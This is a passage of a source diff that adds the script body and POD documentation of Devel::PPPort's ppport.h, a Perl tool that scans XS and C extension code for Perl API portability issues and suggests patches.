+ die "Invalid version number format: '$opt{'compat-version'}'\n";
+ }
+ die "Only Perl 5 is supported\n" if $r != 5;
+ die "Invalid version number: $opt{'compat-version'}\n" if $v >= 1000 || $s >= 1000;
+ $opt{'compat-version'} = sprintf "%d.%03d%03d", $r, $v, $s;
+}
+else {
+ $opt{'compat-version'} = 5;
+}
+
+my %API = map { /^(\w+)\|([^|]*)\|([^|]*)\|(\w*)$/
+ ? ( $1 => {
+ ($2 ? ( base => $2 ) : ()),
+ ($3 ? ( todo => $3 ) : ()),
+ (index($4, 'v') >= 0 ? ( varargs => 1 ) : ()),
+ (index($4, 'p') >= 0 ? ( provided => 1 ) : ()),
+ (index($4, 'n') >= 0 ? ( nothxarg => 1 ) : ()),
+ } )
+ : die "invalid spec: $_" } qw(
+__PERL_API__
+);
+
+if (exists $opt{'list-unsupported'}) {
+ my $f;
+ for $f (sort { lc $a cmp lc $b } keys %API) {
+ next unless $API{$f}{todo};
+ print "$f ", '.'x(40-length($f)), " ", format_version($API{$f}{todo}), "\n";
+ }
+ exit 0;
+}
+
+# Scan for possible replacement candidates
+
+my(%replace, %need, %hints, %warnings, %depends);
+my $replace = 0;
+my($hint, $define, $function);
+
+sub find_api
+{
+ my $code = shift;
+ $code =~ s{
+ / (?: \*[^*]*\*+(?:[^$ccs][^*]*\*+)* / | /[^\r\n]*)
+ | "[^"\\]*(?:\\.[^"\\]*)*"
+ | '[^'\\]*(?:\\.[^'\\]*)*' }{}egsx;
+ grep { exists $API{$_} } $code =~ /(\w+)/mg;
+}
+
+while (<DATA>) {
+ if ($hint) {
+ my $h = $hint->[0] eq 'Hint' ? \%hints : \%warnings;
+ if (m{^\s*\*\s(.*?)\s*$}) {
+ for (@{$hint->[1]}) {
+ $h->{$_} ||= ''; # suppress warning with older perls
+ $h->{$_} .= "$1\n";
+ }
+ }
+ else { undef $hint }
+ }
+
+ $hint = [$1, [split /,?\s+/, $2]]
+ if m{^\s*$rccs\s+(Hint|Warning):\s+(\w+(?:,?\s+\w+)*)\s*$};
+
+ if ($define) {
+ if ($define->[1] =~ /\\$/) {
+ $define->[1] .= $_;
+ }
+ else {
+ if (exists $API{$define->[0]} && $define->[1] !~ /^DPPP_\(/) {
+ my @n = find_api($define->[1]);
+ push @{$depends{$define->[0]}}, @n if @n
+ }
+ undef $define;
+ }
+ }
+
+ $define = [$1, $2] if m{^\s*#\s*define\s+(\w+)(?:\([^)]*\))?\s+(.*)};
+
+ if ($function) {
+ if (/^}/) {
+ if (exists $API{$function->[0]}) {
+ my @n = find_api($function->[1]);
+ push @{$depends{$function->[0]}}, @n if @n
+ }
+ undef $function;
+ }
+ else {
+ $function->[1] .= $_;
+ }
+ }
+
+ $function = [$1, ''] if m{^DPPP_\(my_(\w+)\)};
+
+ $replace = $1 if m{^\s*$rccs\s+Replace:\s+(\d+)\s+$rcce\s*$};
+ $replace{$2} = $1 if $replace and m{^\s*#\s*define\s+(\w+)(?:\([^)]*\))?\s+(\w+)};
+ $replace{$2} = $1 if m{^\s*#\s*define\s+(\w+)(?:\([^)]*\))?\s+(\w+).*$rccs\s+Replace\s+$rcce};
+ $replace{$1} = $2 if m{^\s*$rccs\s+Replace (\w+) with (\w+)\s+$rcce\s*$};
+
+ if (m{^\s*$rccs\s+(\w+(\s*,\s*\w+)*)\s+depends\s+on\s+(\w+(\s*,\s*\w+)*)\s+$rcce\s*$}) {
+ my @deps = map { s/\s+//g; $_ } split /,/, $3;
+ my $d;
+ for $d (map { s/\s+//g; $_ } split /,/, $1) {
+ push @{$depends{$d}}, @deps;
+ }
+ }
+
+ $need{$1} = 1 if m{^#if\s+defined\(NEED_(\w+)(?:_GLOBAL)?\)};
+}
+
+for (values %depends) {
+ my %s;
+ $_ = [sort grep !$s{$_}++, @$_];
+}
+
+if (exists $opt{'api-info'}) {
+ my $f;
+ my $count = 0;
+ my $match = $opt{'api-info'} =~ m!^/(.*)/$! ? $1 : "^\Q$opt{'api-info'}\E\$";
+ for $f (sort { lc $a cmp lc $b } keys %API) {
+ next unless $f =~ /$match/;
+ print "\n=== $f ===\n\n";
+ my $info = 0;
+ if ($API{$f}{base} || $API{$f}{todo}) {
+ my $base = format_version($API{$f}{base} || $API{$f}{todo});
+ print "Supported at least starting from perl-$base.\n";
+ $info++;
+ }
+ if ($API{$f}{provided}) {
+ my $todo = $API{$f}{todo} ? format_version($API{$f}{todo}) : "__MIN_PERL__";
+ print "Support by $ppport provided back to perl-$todo.\n";
+ print "Support needs to be explicitly requested by NEED_$f.\n" if exists $need{$f};
+ print "Depends on: ", join(', ', @{$depends{$f}}), ".\n" if exists $depends{$f};
+ print "\n$hints{$f}" if exists $hints{$f};
+ print "\nWARNING:\n$warnings{$f}" if exists $warnings{$f};
+ $info++;
+ }
+ print "No portability information available.\n" unless $info;
+ $count++;
+ }
+ $count or print "Found no API matching '$opt{'api-info'}'.";
+ print "\n";
+ exit 0;
+}
+
+if (exists $opt{'list-provided'}) {
+ my $f;
+ for $f (sort { lc $a cmp lc $b } keys %API) {
+ next unless $API{$f}{provided};
+ my @flags;
+ push @flags, 'explicit' if exists $need{$f};
+ push @flags, 'depend' if exists $depends{$f};
+ push @flags, 'hint' if exists $hints{$f};
+ push @flags, 'warning' if exists $warnings{$f};
+ my $flags = @flags ? ' ['.join(', ', @flags).']' : '';
+ print "$f$flags\n";
+ }
+ exit 0;
+}
+
+my @files;
+my @srcext = qw( .xs .c .h .cc .cpp -c.inc -xs.inc );
+my $srcext = join '|', map { quotemeta $_ } @srcext;
+
+if (@ARGV) {
+ my %seen;
+ for (@ARGV) {
+ if (-e) {
+ if (-f) {
+ push @files, $_ unless $seen{$_}++;
+ }
+ else { warn "'$_' is not a file.\n" }
+ }
+ else {
+ my @new = grep { -f } glob $_
+ or warn "'$_' does not exist.\n";
+ push @files, grep { !$seen{$_}++ } @new;
+ }
+ }
+}
+else {
+ eval {
+ require File::Find;
+ File::Find::find(sub {
+ $File::Find::name =~ /($srcext)$/i
+ and push @files, $File::Find::name;
+ }, '.');
+ };
+ if ($@) {
+ @files = map { glob "*$_" } @srcext;
+ }
+}
+
+if (!@ARGV || $opt{filter}) {
+ my(@in, @out);
+ my %xsc = map { /(.*)\.xs$/ ? ("$1.c" => 1, "$1.cc" => 1) : () } @files;
+ for (@files) {
+ my $out = exists $xsc{$_} || /\b\Q$ppport\E$/i || !/($srcext)$/i;
+ push @{ $out ? \@out : \@in }, $_;
+ }
+ if (@ARGV && @out) {
+ warning("Skipping the following files (use --nofilter to avoid this):\n| ", join "\n| ", @out);
+ }
+ @files = @in;
+}
+
+die "No input files given!\n" unless @files;
+
+my(%files, %global, %revreplace);
+%revreplace = reverse %replace;
+my $filename;
+my $patch_opened = 0;
+
+for $filename (@files) {
+ unless (open IN, "<$filename") {
+ warn "Unable to read from $filename: $!\n";
+ next;
+ }
+
+ info("Scanning $filename ...");
+
+ my $c = do { local $/; <IN> };
+ close IN;
+
+ my %file = (orig => $c, changes => 0);
+
+ # Temporarily remove C/XS comments and strings from the code
+ my @ccom;
+
+ $c =~ s{
+ ( ^$HS*\#$HS*include\b[^\r\n]+\b(?:\Q$ppport\E|XSUB\.h)\b[^\r\n]*
+ | ^$HS*\#$HS*(?:define|elif|if(?:def)?)\b[^\r\n]* )
+ | ( ^$HS*\#[^\r\n]*
+ | "[^"\\]*(?:\\.[^"\\]*)*"
+ | '[^'\\]*(?:\\.[^'\\]*)*'
+ | / (?: \*[^*]*\*+(?:[^$ccs][^*]*\*+)* / | /[^\r\n]* ) )
+ }{ defined $2 and push @ccom, $2;
+ defined $1 ? $1 : "$ccs$#ccom$cce" }mgsex;
+
+ $file{ccom} = \@ccom;
+ $file{code} = $c;
+ $file{has_inc_ppport} = $c =~ /^$HS*#$HS*include[^\r\n]+\b\Q$ppport\E\b/m;
+
+ my $func;
+
+ for $func (keys %API) {
+ my $match = $func;
+ $match .= "|$revreplace{$func}" if exists $revreplace{$func};
+ if ($c =~ /\b(?:Perl_)?($match)\b/) {
+ $file{uses_replace}{$1}++ if exists $revreplace{$func} && $1 eq $revreplace{$func};
+ $file{uses_Perl}{$func}++ if $c =~ /\bPerl_$func\b/;
+ if (exists $API{$func}{provided}) {
+ $file{uses_provided}{$func}++;
+ if (!exists $API{$func}{base} || $API{$func}{base} > $opt{'compat-version'}) {
+ $file{uses}{$func}++;
+ my @deps = rec_depend($func);
+ if (@deps) {
+ $file{uses_deps}{$func} = \@deps;
+ for (@deps) {
+ $file{uses}{$_} = 0 unless exists $file{uses}{$_};
+ }
+ }
+ for ($func, @deps) {
+ $file{needs}{$_} = 'static' if exists $need{$_};
+ }
+ }
+ }
+ if (exists $API{$func}{todo} && $API{$func}{todo} > $opt{'compat-version'}) {
+ if ($c =~ /\b$func\b/) {
+ $file{uses_todo}{$func}++;
+ }
+ }
+ }
+ }
+
+ while ($c =~ /^$HS*#$HS*define$HS+(NEED_(\w+?)(_GLOBAL)?)\b/mg) {
+ if (exists $need{$2}) {
+ $file{defined $3 ? 'needed_global' : 'needed_static'}{$2}++;
+ }
+ else { warning("Possibly wrong #define $1 in $filename") }
+ }
+
+ for (qw(uses needs uses_todo needed_global needed_static)) {
+ for $func (keys %{$file{$_}}) {
+ push @{$global{$_}{$func}}, $filename;
+ }
+ }
+
+ $files{$filename} = \%file;
+}
+
+# Globally resolve NEED_'s
+my $need;
+for $need (keys %{$global{needs}}) {
+ if (@{$global{needs}{$need}} > 1) {
+ my @targets = @{$global{needs}{$need}};
+ my @t = grep $files{$_}{needed_global}{$need}, @targets;
+ @targets = @t if @t;
+ @t = grep /\.xs$/i, @targets;
+ @targets = @t if @t;
+ my $target = shift @targets;
+ $files{$target}{needs}{$need} = 'global';
+ for (@{$global{needs}{$need}}) {
+ $files{$_}{needs}{$need} = 'extern' if $_ ne $target;
+ }
+ }
+}
+
+for $filename (@files) {
+ exists $files{$filename} or next;
+
+ info("=== Analyzing $filename ===");
+
+ my %file = %{$files{$filename}};
+ my $func;
+ my $c = $file{code};
+ my $warnings = 0;
+
+ for $func (sort keys %{$file{uses_Perl}}) {
+ if ($API{$func}{varargs}) {
+ unless ($API{$func}{nothxarg}) {
+ my $changes = ($c =~ s{\b(Perl_$func\s*\(\s*)(?!aTHX_?)(\)|[^\s)]*\))}
+ { $1 . ($2 eq ')' ? 'aTHX' : 'aTHX_ ') . $2 }ge);
+ if ($changes) {
+ warning("Doesn't pass interpreter argument aTHX to Perl_$func");
+ $file{changes} += $changes;
+ }
+ }
+ }
+ else {
+ warning("Uses Perl_$func instead of $func");
+ $file{changes} += ($c =~ s{\bPerl_$func(\s*)\((\s*aTHX_?)?\s*}
+ {$func$1(}g);
+ }
+ }
+
+ for $func (sort keys %{$file{uses_replace}}) {
+ warning("Uses $func instead of $replace{$func}");
+ $file{changes} += ($c =~ s/\b$func\b/$replace{$func}/g);
+ }
+
+ for $func (sort keys %{$file{uses_provided}}) {
+ if ($file{uses}{$func}) {
+ if (exists $file{uses_deps}{$func}) {
+ diag("Uses $func, which depends on ", join(', ', @{$file{uses_deps}{$func}}));
+ }
+ else {
+ diag("Uses $func");
+ }
+ }
+ $warnings += hint($func);
+ }
+
+ unless ($opt{quiet}) {
+ for $func (sort keys %{$file{uses_todo}}) {
+ print "*** WARNING: Uses $func, which may not be portable below perl ",
+ format_version($API{$func}{todo}), ", even with '$ppport'\n";
+ $warnings++;
+ }
+ }
+
+ for $func (sort keys %{$file{needed_static}}) {
+ my $message = '';
+ if (not exists $file{uses}{$func}) {
+ $message = "No need to define NEED_$func if $func is never used";
+ }
+ elsif (exists $file{needs}{$func} && $file{needs}{$func} ne 'static') {
+ $message = "No need to define NEED_$func when already needed globally";
+ }
+ if ($message) {
+ diag($message);
+ $file{changes} += ($c =~ s/^$HS*#$HS*define$HS+NEED_$func\b.*$LF//mg);
+ }
+ }
+
+ for $func (sort keys %{$file{needed_global}}) {
+ my $message = '';
+ if (not exists $global{uses}{$func}) {
+ $message = "No need to define NEED_${func}_GLOBAL if $func is never used";
+ }
+ elsif (exists $file{needs}{$func}) {
+ if ($file{needs}{$func} eq 'extern') {
+ $message = "No need to define NEED_${func}_GLOBAL when already needed globally";
+ }
+ elsif ($file{needs}{$func} eq 'static') {
+ $message = "No need to define NEED_${func}_GLOBAL when only used in this file";
+ }
+ }
+ if ($message) {
+ diag($message);
+ $file{changes} += ($c =~ s/^$HS*#$HS*define$HS+NEED_${func}_GLOBAL\b.*$LF//mg);
+ }
+ }
+
+ $file{needs_inc_ppport} = keys %{$file{uses}};
+
+ if ($file{needs_inc_ppport}) {
+ my $pp = '';
+
+ for $func (sort keys %{$file{needs}}) {
+ my $type = $file{needs}{$func};
+ next if $type eq 'extern';
+ my $suffix = $type eq 'global' ? '_GLOBAL' : '';
+ unless (exists $file{"needed_$type"}{$func}) {
+ if ($type eq 'global') {
+ diag("Files [@{$global{needs}{$func}}] need $func, adding global request");
+ }
+ else {
+ diag("File needs $func, adding static request");
+ }
+ $pp .= "#define NEED_$func$suffix\n";
+ }
+ }
+
+ if ($pp && ($c =~ s/^(?=$HS*#$HS*define$HS+NEED_\w+)/$pp/m)) {
+ $pp = '';
+ $file{changes}++;
+ }
+
+ unless ($file{has_inc_ppport}) {
+ diag("Needs to include '$ppport'");
+ $pp .= qq(#include "$ppport"\n)
+ }
+
+ if ($pp) {
+ $file{changes} += ($c =~ s/^($HS*#$HS*define$HS+NEED_\w+.*?)^/$1$pp/ms)
+ || ($c =~ s/^(?=$HS*#$HS*include.*\Q$ppport\E)/$pp/m)
+ || ($c =~ s/^($HS*#$HS*include.*XSUB.*\s*?)^/$1$pp/m)
+ || ($c =~ s/^/$pp/);
+ }
+ }
+ else {
+ if ($file{has_inc_ppport}) {
+ diag("No need to include '$ppport'");
+ $file{changes} += ($c =~ s/^$HS*?#$HS*include.*\Q$ppport\E.*?$LF//m);
+ }
+ }
+
+ # put back in our C comments
+ my $ix;
+ my $cppc = 0;
+ my @ccom = @{$file{ccom}};
+ for $ix (0 .. $#ccom) {
+ if (!$opt{cplusplus} && $ccom[$ix] =~ s!^//!!) {
+ $cppc++;
+ $file{changes} += $c =~ s/$rccs$ix$rcce/$ccs$ccom[$ix] $cce/;
+ }
+ else {
+ $c =~ s/$rccs$ix$rcce/$ccom[$ix]/;
+ }
+ }
+
+ if ($cppc) {
+ my $s = $cppc != 1 ? 's' : '';
+ warning("Uses $cppc C++ style comment$s, which is not portable");
+ }
+
+ my $s = $warnings != 1 ? 's' : '';
+ my $warn = $warnings ? " ($warnings warning$s)" : '';
+ info("Analysis completed$warn");
+
+ if ($file{changes}) {
+ if (exists $opt{copy}) {
+ my $newfile = "$filename$opt{copy}";
+ if (-e $newfile) {
+ error("'$newfile' already exists, refusing to write copy of '$filename'");
+ }
+ else {
+ local *F;
+ if (open F, ">$newfile") {
+ info("Writing copy of '$filename' with changes to '$newfile'");
+ print F $c;
+ close F;
+ }
+ else {
+ error("Cannot open '$newfile' for writing: $!");
+ }
+ }
+ }
+ elsif (exists $opt{patch} || $opt{changes}) {
+ if (exists $opt{patch}) {
+ unless ($patch_opened) {
+ if (open PATCH, ">$opt{patch}") {
+ $patch_opened = 1;
+ }
+ else {
+ error("Cannot open '$opt{patch}' for writing: $!");
+ delete $opt{patch};
+ $opt{changes} = 1;
+ goto fallback;
+ }
+ }
+ mydiff(\*PATCH, $filename, $c);
+ }
+ else {
+fallback:
+ info("Suggested changes:");
+ mydiff(\*STDOUT, $filename, $c);
+ }
+ }
+ else {
+ my $s = $file{changes} == 1 ? '' : 's';
+ info("$file{changes} potentially required change$s detected");
+ }
+ }
+ else {
+ info("Looks good");
+ }
+}
+
+close PATCH if $patch_opened;
+
+exit 0;
+
+#######################################################################
+
+sub try_use { eval "use @_;"; return $@ eq '' }
+
+sub mydiff
+{
+ local *F = shift;
+ my($file, $str) = @_;
+ my $diff;
+
+ if (exists $opt{diff}) {
+ $diff = run_diff($opt{diff}, $file, $str);
+ }
+
+ if (!defined $diff and try_use('Text::Diff')) {
+ $diff = Text::Diff::diff($file, \$str, { STYLE => 'Unified' });
+ $diff = <<HEADER . $diff;
+--- $file
++++ $file.patched
+HEADER
+ }
+
+ if (!defined $diff) {
+ $diff = run_diff('diff -u', $file, $str);
+ }
+
+ if (!defined $diff) {
+ $diff = run_diff('diff', $file, $str);
+ }
+
+ if (!defined $diff) {
+ error("Cannot generate a diff. Please install Text::Diff or use --copy.");
+ return;
+ }
+
+ print F $diff;
+}
+
+sub run_diff
+{
+ my($prog, $file, $str) = @_;
+ my $tmp = 'dppptemp';
+ my $suf = 'aaa';
+ my $diff = '';
+ local *F;
+
+ while (-e "$tmp.$suf") { $suf++ }
+ $tmp = "$tmp.$suf";
+
+ if (open F, ">$tmp") {
+ print F $str;
+ close F;
+
+ if (open F, "$prog $file $tmp |") {
+ while (<F>) {
+ s/\Q$tmp\E/$file.patched/;
+ $diff .= $_;
+ }
+ close F;
+ unlink $tmp;
+ return $diff;
+ }
+
+ unlink $tmp;
+ }
+ else {
+ error("Cannot open '$tmp' for writing: $!");
+ }
+
+ return undef;
+}
+
+sub rec_depend
+{
+ my($func, $seen) = @_;
+ return () unless exists $depends{$func};
+ $seen = {%{$seen||{}}};
+ return () if $seen->{$func}++;
+ my %s;
+ grep !$s{$_}++, map { ($_, rec_depend($_, $seen)) } @{$depends{$func}};
+}
+
+sub parse_version
+{
+ my $ver = shift;
+
+ if ($ver =~ /^(\d+)\.(\d+)\.(\d+)$/) {
+ return ($1, $2, $3);
+ }
+ elsif ($ver !~ /^\d+\.[\d_]+$/) {
+ die "cannot parse version '$ver'\n";
+ }
+
+ $ver =~ s/_//g;
+ $ver =~ s/$/000000/;
+
+ my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+ $v = int $v;
+ $s = int $s;
+
+ if ($r < 5 || ($r == 5 && $v < 6)) {
+ if ($s % 10) {
+ die "cannot parse version '$ver'\n";
+ }
+ }
+
+ return ($r, $v, $s);
+}
+
+sub format_version
+{
+ my $ver = shift;
+
+ $ver =~ s/$/000000/;
+ my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+ $v = int $v;
+ $s = int $s;
+
+ if ($r < 5 || ($r == 5 && $v < 6)) {
+ if ($s % 10) {
+ die "invalid version '$ver'\n";
+ }
+ $s /= 10;
+
+ $ver = sprintf "%d.%03d", $r, $v;
+ $s > 0 and $ver .= sprintf "_%02d", $s;
+
+ return $ver;
+ }
+
+ return sprintf "%d.%d.%d", $r, $v, $s;
+}
+
+sub info
+{
+ $opt{quiet} and return;
+ print @_, "\n";
+}
+
+sub diag
+{
+ $opt{quiet} and return;
+ $opt{diag} and print @_, "\n";
+}
+
+sub warning
+{
+ $opt{quiet} and return;
+ print "*** ", @_, "\n";
+}
+
+sub error
+{
+ print "*** ERROR: ", @_, "\n";
+}
+
+my %given_hints;
+my %given_warnings;
+sub hint
+{
+ $opt{quiet} and return;
+ my $func = shift;
+ my $rv = 0;
+ if (exists $warnings{$func} && !$given_warnings{$func}++) {
+ my $warn = $warnings{$func};
+ $warn =~ s!^!*** !mg;
+ print "*** WARNING: $func\n", $warn;
+ $rv++;
+ }
+ if ($opt{hints} && exists $hints{$func} && !$given_hints{$func}++) {
+ my $hint = $hints{$func};
+ $hint =~ s/^/ /mg;
+ print " --- hint for $func ---\n", $hint;
+ }
+ $rv;
+}
+
+sub usage
+{
+ my($usage) = do { local(@ARGV,$/)=($0); <> } =~ /^=head\d$HS+SYNOPSIS\s*^(.*?)\s*^=/ms;
+ my %M = ( 'I' => '*' );
+ $usage =~ s/^\s*perl\s+\S+/$^X $0/;
+ $usage =~ s/([A-Z])<([^>]+)>/$M{$1}$2$M{$1}/g;
+
+ print <<ENDUSAGE;
+
+Usage: $usage
+
+See perldoc $0 for details.
+
+ENDUSAGE
+
+ exit 2;
+}
+
+sub strip
+{
+ my $self = do { local(@ARGV,$/)=($0); <> };
+ my($copy) = $self =~ /^=head\d\s+COPYRIGHT\s*^(.*?)^=\w+/ms;
+ $copy =~ s/^(?=\S+)/ /gms;
+ $self =~ s/^$HS+Do NOT edit.*?(?=^-)/$copy/ms;
+ $self =~ s/^SKIP.*(?=^__DATA__)/SKIP
+if (\@ARGV && \$ARGV[0] eq '--unstrip') {
+ eval { require Devel::PPPort };
+ \$@ and die "Cannot require Devel::PPPort, please install.\\n";
+ if (eval \$Devel::PPPort::VERSION < $VERSION) {
+ die "$0 was originally generated with Devel::PPPort $VERSION.\\n"
+ . "Your Devel::PPPort is only version \$Devel::PPPort::VERSION.\\n"
+ . "Please install a newer version, or --unstrip will not work.\\n";
+ }
+ Devel::PPPort::WriteFile(\$0);
+ exit 0;
+}
+print <<END;
+
+Sorry, but this is a stripped version of \$0.
+
+To be able to use its original script and doc functionality,
+please try to regenerate this file using:
+
+ \$^X \$0 --unstrip
+
+END
+/ms;
+ my($pl, $c) = $self =~ /(.*^__DATA__)(.*)/ms;
+ $c =~ s{
+ / (?: \*[^*]*\*+(?:[^$ccs][^*]*\*+)* / | /[^\r\n]*)
+ | ( "[^"\\]*(?:\\.[^"\\]*)*"
+ | '[^'\\]*(?:\\.[^'\\]*)*' )
+ | ($HS+) }{ defined $2 ? ' ' : ($1 || '') }gsex;
+ $c =~ s!\s+$!!mg;
+ $c =~ s!^$LF!!mg;
+ $c =~ s!^\s*#\s*!#!mg;
+ $c =~ s!^\s+!!mg;
+
+ open OUT, ">$0" or die "cannot strip $0: $!\n";
+ print OUT "$pl$c\n";
+
+ exit 0;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphdoc b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphdoc
new file mode 100644
index 00000000000..857f39e3fcb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphdoc
@@ -0,0 +1,346 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+=dontwarn
+
+NEED_function
+NEED_function_GLOBAL
+NEED_variable
+NEED_variable_GLOBAL
+DPPP_NAMESPACE
+
+=implementation
+
+=pod
+
+=head1 NAME
+
+ppport.h - Perl/Pollution/Portability version __VERSION__
+
+=head1 SYNOPSIS
+
+ perl ppport.h [options] [source files]
+
+ Searches current directory for files if no [source files] are given
+
+ --help show short help
+
+ --version show version
+
+ --patch=file write one patch file with changes
+ --copy=suffix write changed copies with suffix
+ --diff=program use diff program and options
+
+ --compat-version=version provide compatibility with Perl version
+ --cplusplus accept C++ comments
+
+ --quiet don't output anything except fatal errors
+ --nodiag don't show diagnostics
+ --nohints don't show hints
+ --nochanges don't suggest changes
+ --nofilter don't filter input files
+
+ --strip strip all script and doc functionality
+ from ppport.h
+
+ --list-provided list provided API
+ --list-unsupported list unsupported API
+ --api-info=name show Perl API portability information
+
+=head1 COMPATIBILITY
+
+This version of F<ppport.h> is designed to support operation with Perl
+installations back to __MIN_PERL__, and has been tested up to __MAX_PERL__.
+
+=head1 OPTIONS
+
+=head2 --help
+
+Display a brief usage summary.
+
+=head2 --version
+
+Display the version of F<ppport.h>.
+
+=head2 --patch=I<file>
+
+If this option is given, a single patch file will be created if
+any changes are suggested. This requires a working diff program
+to be installed on your system.
+
+=head2 --copy=I<suffix>
+
+If this option is given, a copy of each file will be saved with
+the given suffix that contains the suggested changes. This does
+not require any external programs. Note that this does not
+automagically add a dot between the original filename and the
+suffix. If you want the dot, you have to include it in the option
+argument.
+
+If neither C<--patch> or C<--copy> are given, the default is to
+simply print the diffs for each file. This requires either
+C<Text::Diff> or a C<diff> program to be installed.
+
+=head2 --diff=I<program>
+
+Manually set the diff program and options to use. The default
+is to use C<Text::Diff>, when installed, and output unified
+context diffs.
+
+=head2 --compat-version=I<version>
+
+Tell F<ppport.h> to check for compatibility with the given
+Perl version. The default is to check for compatibility with Perl
+version __MIN_PERL__. You can use this option to reduce the output
+of F<ppport.h> if you intend to be backward compatible only
+down to a certain Perl version.
+
+=head2 --cplusplus
+
+Usually, F<ppport.h> will detect C++ style comments and
+replace them with C style comments for portability reasons.
+Using this option instructs F<ppport.h> to leave C++
+comments untouched.
+
+=head2 --quiet
+
+Be quiet. Don't print anything except fatal errors.
+
+=head2 --nodiag
+
+Don't output any diagnostic messages. Only portability
+alerts will be printed.
+
+=head2 --nohints
+
+Don't output any hints. Hints often contain useful portability
+notes. Warnings will still be displayed.
+
+=head2 --nochanges
+
+Don't suggest any changes. Only give diagnostic output and hints
+unless these are also deactivated.
+
+=head2 --nofilter
+
+Don't filter the list of input files. By default, files not looking
+like source code (i.e. not *.xs, *.c, *.cc, *.cpp or *.h) are skipped.
+
+=head2 --strip
+
+Strip all script and documentation functionality from F<ppport.h>.
+This reduces the size of F<ppport.h> dramatically and may be useful
+if you want to include F<ppport.h> in smaller modules without
+increasing their distribution size too much.
+
+The stripped F<ppport.h> will have a C<--unstrip> option that allows
+you to undo the stripping, but only if an appropriate C<Devel::PPPort>
+module is installed.
+
+=head2 --list-provided
+
+Lists the API elements for which compatibility is provided by
+F<ppport.h>. Also lists if it must be explicitly requested,
+if it has dependencies, and if there are hints or warnings for it.
+
+=head2 --list-unsupported
+
+Lists the API elements that are known not to be supported by
+F<ppport.h> and below which version of Perl they probably
+won't be available or work.
+
+=head2 --api-info=I<name>
+
+Show portability information for API elements matching I<name>.
+If I<name> is surrounded by slashes, it is interpreted as a regular
+expression.
+
+=head1 DESCRIPTION
+
+In order for a Perl extension (XS) module to be as portable as possible
+across differing versions of Perl itself, certain steps need to be taken.
+
+=over 4
+
+=item *
+
+Including this header is the first major one. This alone will give you
+access to a large part of the Perl API that hasn't been available in
+earlier Perl releases. Use
+
+ perl ppport.h --list-provided
+
+to see which API elements are provided by ppport.h.
+
+=item *
+
+You should avoid using deprecated parts of the API. For example, using
+global Perl variables without the C<PL_> prefix is deprecated. Also,
+some API functions used to have a C<perl_> prefix. Using this form is
+also deprecated. You can safely use the supported API, as F<ppport.h>
+will provide wrappers for older Perl versions.
+
+=item *
+
+If you use one of a few functions or variables that were not present in
+earlier versions of Perl, and that can't be provided using a macro, you
+have to explicitly request support for these functions by adding one or
+more C<#define>s in your source code before the inclusion of F<ppport.h>.
+
+These functions or variables will be marked C<explicit> in the list shown
+by C<--list-provided>.
+
+Depending on whether you module has a single or multiple files that
+use such functions or variables, you want either C<static> or global
+variants.
+
+For a C<static> function or variable (used only in a single source
+file), use:
+
+ #define NEED_function
+ #define NEED_variable
+
+For a global function or variable (used in multiple source files),
+use:
+
+ #define NEED_function_GLOBAL
+ #define NEED_variable_GLOBAL
+
+Note that you mustn't have more than one global request for the
+same function or variable in your project.
+
+ __EXPLICIT_API__
+
+To avoid namespace conflicts, you can change the namespace of the
+explicitly exported functions / variables using the C<DPPP_NAMESPACE>
+macro. Just C<#define> the macro before including C<ppport.h>:
+
+ #define DPPP_NAMESPACE MyOwnNamespace_
+ #include "ppport.h"
+
+The default namespace is C<DPPP_>.
+
+=back
+
+The good thing is that most of the above can be checked by running
+F<ppport.h> on your source code. See the next section for
+details.
+
+=head1 EXAMPLES
+
+To verify whether F<ppport.h> is needed for your module, whether you
+should make any changes to your code, and whether any special defines
+should be used, F<ppport.h> can be run as a Perl script to check your
+source code. Simply say:
+
+ perl ppport.h
+
+The result will usually be a list of patches suggesting changes
+that should at least be acceptable, if not necessarily the most
+efficient solution, or a fix for all possible problems.
+
+If you know that your XS module uses features only available in
+newer Perl releases, if you're aware that it uses C++ comments,
+and if you want all suggestions as a single patch file, you could
+use something like this:
+
+ perl ppport.h --compat-version=5.6.0 --cplusplus --patch=test.diff
+
+If you only want your code to be scanned without any suggestions
+for changes, use:
+
+ perl ppport.h --nochanges
+
+You can specify a different C<diff> program or options, using
+the C<--diff> option:
+
+ perl ppport.h --diff='diff -C 10'
+
+This would output context diffs with 10 lines of context.
+
+If you want to create patched copies of your files instead, use:
+
+ perl ppport.h --copy=.new
+
+To display portability information for the C<newSVpvn> function,
+use:
+
+ perl ppport.h --api-info=newSVpvn
+
+Since the argument to C<--api-info> can be a regular expression,
+you can use
+
+ perl ppport.h --api-info=/_nomg$/
+
+to display portability information for all C<_nomg> functions or
+
+ perl ppport.h --api-info=/./
+
+to display information for all known API elements.
+
+=head1 BUGS
+
+If this version of F<ppport.h> is causing failure during
+the compilation of this module, please check if newer versions
+of either this module or C<Devel::PPPort> are available on CPAN
+before sending a bug report.
+
+If F<ppport.h> was generated using the latest version of
+C<Devel::PPPort> and is causing failure of this module, please
+send a bug report to L<perlbug@perl.org|mailto:perlbug@perl.org>.
+
+Please include the following information:
+
+=over 4
+
+=item 1.
+
+The complete output from running "perl -V"
+
+=item 2.
+
+This file.
+
+=item 3.
+
+The name and version of the module you were trying to build.
+
+=item 4.
+
+A full log of the build that failed.
+
+=item 5.
+
+Any other information that you think could be relevant.
+
+=back
+
+For the latest version of this code, please get the C<Devel::PPPort>
+module from CPAN.
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (c) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort>.
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphtest b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphtest
